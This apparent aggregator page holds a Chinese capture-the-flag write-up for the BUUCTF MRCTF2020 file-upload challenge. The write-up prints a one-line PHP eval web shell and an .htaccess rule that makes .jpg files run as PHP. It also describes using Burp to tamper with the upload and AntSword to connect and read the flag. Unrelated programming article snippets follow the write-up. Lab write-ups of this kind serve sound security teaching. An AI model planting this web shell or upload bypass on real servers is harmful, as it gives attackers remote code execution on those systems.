当前位置： 首页 > news >正文

BUUCTF---[MRCTF2020]你传你呢1

news 2026/4/21 15:28:54

1.题目描述

2.打开题目链接

3.上传shell.jpg文件，显示连接成功，但是用蚁剑连接却连接不上。shell文件内容为

<script language='php'>eval($_REQUEST[cmd]);</script>

4.用bp抓包，修改属性

5.需要上传一个.htaccess的文件来把jpg后缀的文件全都当作php文件来执行，.htsccess文件内容为

AddType application/x-httpd-php .jpg

6.刚刚我们上传了shell.jpg

就接下来上传.htaccess文件，修改这里

7.接下来我们放包回去，点击forward

8.接下来我们访问shell.jpg文件

访问地址为

http://97d484a8-851f-4d4d-9507-aa835dd782f4.node5.buuoj.cn:81/upload/8d47dd0461a3a88317b0af687ebf8526/shell%20.jpg

9.接下来我们使用蚁剑连接

flag{3687354e-fb5d-415c-b5ec-0c92e80df3e4}

相关文章：

BUUCTF---[MRCTF2020]你传你呢1

1.题目描述 2.打开题目链接 3.上传shell.jpg文件&#xff0c;显示连接成功&#xff0c;但是用蚁剑连接却连接不上。shell文件内容为 <script languagephp>eval($_REQUEST[cmd]);</script>4.用bp抓包&#xff0c;修改属性 5.需要上传一个.htaccess的文件来把jpg后缀…...

编程日记 2024/3/9 4:54:04

vite+vue3门户网站菜单栏动态路由控制

门户网站用户端需要分板块展示&#xff0c;板块内容由管理端配置&#xff0c;包括板块名称&#xff0c;访问路径&#xff0c;路由组件&#xff0c;展示顺序&#xff0c;是否展示。如下图所示&#xff1a; 用户访问门户网站时&#xff0c;展示菜单跳转通过板块配置&#xff0c;动…...

编程日记 2024/3/9 4:52:02

【C语言】linux内核packet_setsockopt

一、中文注释 // 发送数据包函数。它尝试通过特定的网络设备队列直接传输一个skb&#xff08;socket缓冲区&#xff09;。 static int packet_direct_xmit(struct sk_buff *skb) {return dev_direct_xmit(skb, packet_pick_tx_queue(skb)); // 调用dev_direct_xmit函数&#x…...

编程日记 2024/3/9 4:47:58

LeetCode的使用方法

LeetCode的使用方法 一、LeetCode是什么&#xff1f;1.LeetCode简介2.LeetCode官网 二、LeetCode的使用方法1.注册账号2.力扣社区力扣编辑器 2.1 讨论发起讨论参与讨论关注讨论 2.2 文章撰写文章关注文章 3.力扣面试官版测评面试招聘竞赛 4.力扣学习LeetBook 书架我的阅读猜您喜…...

编程日记 2024/3/9 4:46:57

Vue事件处理:.passive修饰符与应用场景

.passive修饰符 passive这个修饰符会执行默认方法。你们可能会问&#xff0c;明明默认执行为什么会设置这样一个修饰符。这就要说一下这个修饰符的本意了。 浏览器只有等内核线程执行到事件监听器对应的JavaScript代码时&#xff0c;才能知道内部是否会调用preventDefa…...

编程日记 2024/3/9 4:44:53

智慧城市中的数字孪生：构建城市管理的未来框架

目录 一、引言 二、数字孪生技术概述 三、数字孪生技术在智慧城市中的应用 1、实时监测与预警 2、模拟与优化 3、智能化决策 4、协同与共享 四、数字孪生技术构建城市管理的未来框架的价值 1、提高管理效率 2、优化资源配置 3、提升公共服务水平 4、增强应对突发事…...

编程日记 2024/3/9 4:41:51

强引用、软引用、弱引用、幻象引用 —— Java的四种引用类型解析

强引用、软引用、弱引用、幻象引用 —— Java的四种引用类型解析 在Java中&#xff0c;对象的生命周期并不总是由我们直接控制。除了我们常见的强引用外&#xff0c;Java还提供了软引用、弱引用和幻象引用这三种引用类型&#xff0c;它们对对象生命周期的影响各不相同。理解这…...

编程日记 2024/3/9 4:38:49

基于禁忌搜索算法（TS）的TSP（Python实现）

本篇文章是博主在最化优学习、人工智能等领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对相关等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅解。文章分类在最优化算…...

编程日记 2024/3/9 4:37:48

Linux shell 网络掩码地址转CIDR

例子&#xff1a; ./1.sh 255.255.255.0 ./1.sh 255.255.255.128 ./1.sh 255.255.0.0 源实现&#xff1a; #!/bin/bashnetmask_to_cidr() {local IFSlocal -a octetslocal i0local cidr0IFS. read -r -a octets <<< "$1"for octet in "${octets[]}…...

编程日记 2024/3/9 4:36:47

C#，煎饼排序问题（Pancake Sorting Problem）算法与源代码

1 煎饼排序问题 给定一个未排序的数组&#xff0c;任务是对给定数组进行排序。您只能在阵列上执行以下操作。 翻转&#xff08;arr&#xff0c;i&#xff09;&#xff1a;将数组从0反转为i 示例&#xff1a; 输入&#xff1a;arr[]{23、10、20、11、12、6、7} 输出&#xff1a…...

编程日记 2024/3/9 4:33:44

13.西瓜书——半监督学习

1.概述 &#xff08;1&#xff09; 纯半监督学习 (Pure Semi-Supervised Learning) 纯半监督学习是一种典型的半监督学习方法&#xff0c;它的主要特点是同时利用有标签数据和无标签数据进行模型训练。目标是通过整合这两种类型的数据来提高模型的泛化性能。在这个过程中&#…...

编程日记 2024/3/9 4:30:42

C++进阶之路---继承（二）

顾得泉&#xff1a;个人主页 个人专栏&#xff1a;《Linux操作系统》 《C从入门到精通》 《LeedCode刷题》 键盘敲烂&#xff0c;年薪百万&#xff01; 一、继承与友元 友元关系不能继承&#xff0c;也就是说基类友元不能访问子类私有和保护成员。 class Student; class Per…...

编程日记 2024/3/9 4:26:37

C及C++每日练习(3)

选择题&#xff1a; 1.以下程序的输出结果是&#xff08;&#xff09; #include <stdio.h> main() { char a[10] {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}, *p; int i; i 8; p a i; printf("%s\n", p - 3); } A.6 B. 6789 C. 6 D.789 对于本题&#xff0…...

编程日记 2024/3/9 4:24:36

黑马点评-附近商户实现

GEO数据结构 Redis在3.2版本中加入了对GEO的支持&#xff0c;允许存储地理坐标信息&#xff0c;根据经纬度来检索数据。 GEO本质上是基于sortedSet实现的&#xff0c;在Sorted Set中&#xff0c;每个成员都是与一个分数(score)相关联的&#xff0c;这个分数用于对成员进行排序…...

编程日记 2024/3/9 4:21:33

安装nginx：手动安装和yum安装

本文在centos7.9下分别尝试了yum安装和手动安装&#xff0c;记录一下试验过程。为后来者少踩点坑。 下载 下载地址&#xff1a;链接 。建议下载稳定版本&#xff0c;也就是Stable Version&#xff0c;这里下载的是 nginx-1.24.0 # 我下载在如下文件夹 mkdir/opt/apps cd /op…...

编程日记 2024/3/9 4:20:32

【C++ STL详解】——string类

目录 前言 一、string类对象的常见构造 二、string类对象的访问及遍历 1.下标【】&#xff08;底层operator【】函数&#xff09; ​编辑 2.迭代器 3.范围for 4.at 5.back和front 三、string类对象的容量操作 1.size 和 length 2.capacity 3.empty 4.clear 5.res…...

编程日记 2024/3/9 4:15:27

MatplotlibPython 1 3.7

放大数据&#xff0c;如果想仔细看某一行的数据的时候 可以调不同的颜色&#xff0c;图片的长宽高&#xff0c;以及线的种类 plt.figure 这个命令下的所有东西都在这个figure里面 plt.xlim 改变坐标轴的范围 plt.xlabel 改变坐标轴的总名称 plt.xticks 换单位 plt.yt…...

编程日记 2024/3/9 4:14:26

深入理解 Dubbo：构建分布式服务治理体系

目录 1. 介绍 2. Dubbo 的核心概念 2.1 服务提供者&#xff08;Provider&#xff09;与服务消费者&#xff08;Consumer&#xff09; 2.2 注册中心&#xff08;Registry&#xff09; 2.3 监控中心&#xff08;Monitor&#xff09; 3. Dubbo 的功能特性 3.1 远程调用&…...

编程日记 2024/3/9 4:13:24

唤起原生IOS和安卓Android app的方法

大家好我是咕噜美乐蒂&#xff0c;很高兴又和大家见面了&#xff01; 要唤起原生 iOS 或 Android 应用程序&#xff0c;你可以使用以下方法&#xff1a; 唤起原生 iOS 应用程序 在 iOS 上&#xff0c;你可以使用自定义 URL 方案或 Universal Links 来唤起原生应用程序。以下…...

编程日记 2024/3/9 4:12:23

RabbitMQ的web控制端介绍

2.1 web管理界面介绍 connections&#xff1a;无论生产者还是消费者&#xff0c;都需要与RabbitMQ建立连接后才可以完成消息的生产和消费&#xff0c;在这里可以查看连接情况channels&#xff1a;通道&#xff0c;建立连接后&#xff0c;会形成通道&#xff0c;消息的投递、获取…...

编程日记 2024/3/9 4:10:21

DCDC 电源拓扑详解，硬件电源基础干货

做硬件设计&#xff0c;电源是绕不开的话题。不管你画什么板子&#xff0c;总得给芯片供电。很多人会用DCDC芯片&#xff0c;照着参考电路画&#xff0c;能跑就行。但你真的理解背后的原理吗&#xff1f;为什么有的用Buck&#xff0c;有的用Boost&#xff1f;电感怎么选&#x…...

编程新知 2026/4/21 10:48:36

CLIP-GmP-ViT-L-14效果展示：手绘草图-产品需求文档语义映射实例

CLIP-GmP-ViT-L-14效果展示&#xff1a;手绘草图-产品需求文档语义映射实例 1. 模型能力概览 CLIP-GmP-ViT-L-14是一个经过几何参数化(GmP)微调的视觉语言模型&#xff0c;在ImageNet和ObjectNet数据集上达到了约90%的准确率。这个模型特别擅长理解图像与文本之间的语义关联&…...

编程新知 2026/4/21 7:57:25

2026年最新好用的WMS仓库管理系统盘点！10款国内外热门WMS系统推荐

面对仓储管理的挑战&#xff0c;越来越多的企业开始关注WMS系统。但在选型时&#xff0c;很多企业面临同样的困惑&#xff1a;市场上WMS系统那么多&#xff0c;到底哪款适合自己&#xff1f;本文盘点2026年国内外10款热门WMS系统&#xff0c;从功能特点、适用场景、性价比等维度…...

编程新知 2026/4/21 7:15:19

注意力机制模块：全局注意力机制 GAM 详解：跨维度特征交互，超越传统 CBAM 的2026落地新宠

引言：注意力机制的“维度困境” 在深度学习领域，注意力机制（Attention Mechanism）已经成为提升模型性能的核心武器。从SENet首次将通道注意力引入CNN，到CBAM（Convolutional Block Attention Mechanism）同时使用通道和空间注意力，再到Transformer中的自注意力机制，注意…...

编程新知 2026/4/21 7:03:25

从零到生产向量检索，EF Core 10扩展配置避坑手册，微软MVP亲测验证的7项必检清单

第一章&#xff1a;从零到生产向量检索的EF Core 10向量搜索扩展全景概览EF Core 10正式引入原生向量类型支持与向量相似度查询能力&#xff0c;标志着ORM首次在主流.NET生态中深度集成向量检索能力。该扩展并非简单封装SQL向量函数&#xff0c;而是构建了贯穿模型定义、迁移生…...

编程新知 2026/4/21 6:40:55

Qwen3.5-9B-GGUF实战案例：基于llama-cpp-python的18万字长文本处理方案

Qwen3.5-9B-GGUF实战案例&#xff1a;基于llama-cpp-python的18万字长文本处理方案 1. 项目介绍 Qwen3.5-9B-GGUF是阿里云开源的Qwen3.5-9B模型经过GGUF格式量化后的版本&#xff0c;特别适合处理超长文本任务。这个90亿参数的稠密模型采用了创新的Gated Delta Networks架构和…...

编程新知 2026/4/21 5:35:45

GBase 8a之聚合函数： 计算峰度功能的实现

主要解决问题&#xff08;1&#xff09; 目前系统缺少求峰度的功能。特编写可以实现该功能的so以应对。部署方式&#xff08;1&#xff09; 将文件libkurtosis.so 放在集群对应的$GBASE_HOME/lib/gbase/plugin $GCLUSTER_HOME/lib/gbase/plugin 目录下 &#xff08;2&#x…...

编程新知 2026/4/21 5:19:15

5分钟快速上手：QMCDecode音频格式转换完整指南

5分钟快速上手&#xff1a;QMCDecode音频格式转换完整指南 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac&#xff0c;qmc0,qmc3转mp3, mflac,mflac0等转flac)&#xff0c;仅支持macOS&#xff0c;可自动识别到QQ音乐下载目录&#xff0c;默认转换结果…...

编程新知 2026/4/21 5:08:00

ThumbHash错误排查手册：常见问题及解决方案大全

ThumbHash错误排查手册&#xff1a;常见问题及解决方案大全 【免费下载链接】thumbhash A very compact representation of an image placeholder 项目地址: https://gitcode.com/gh_mirrors/th/thumbhash ThumbHash作为一种非常紧凑的图像占位符表示方法&#xff0c;在…...

编程新知 2026/4/21 3:55:17

别只盯着性能！从RapidJSON和cJSON的源码设计，聊聊C/C++ JSON库的‘优雅’与‘实用’

从RapidJSON与cJSON的源码哲学&#xff0c;解码C/C JSON库的设计艺术 在技术选型时&#xff0c;我们常常被性能指标和功能列表所吸引&#xff0c;却忽略了背后更为重要的设计哲学。RapidJSON和cJSON作为C/C领域最具代表性的两个JSON库&#xff0c;它们的差异远不止于性能数据表…...

编程新知 2026/4/21 3:31:06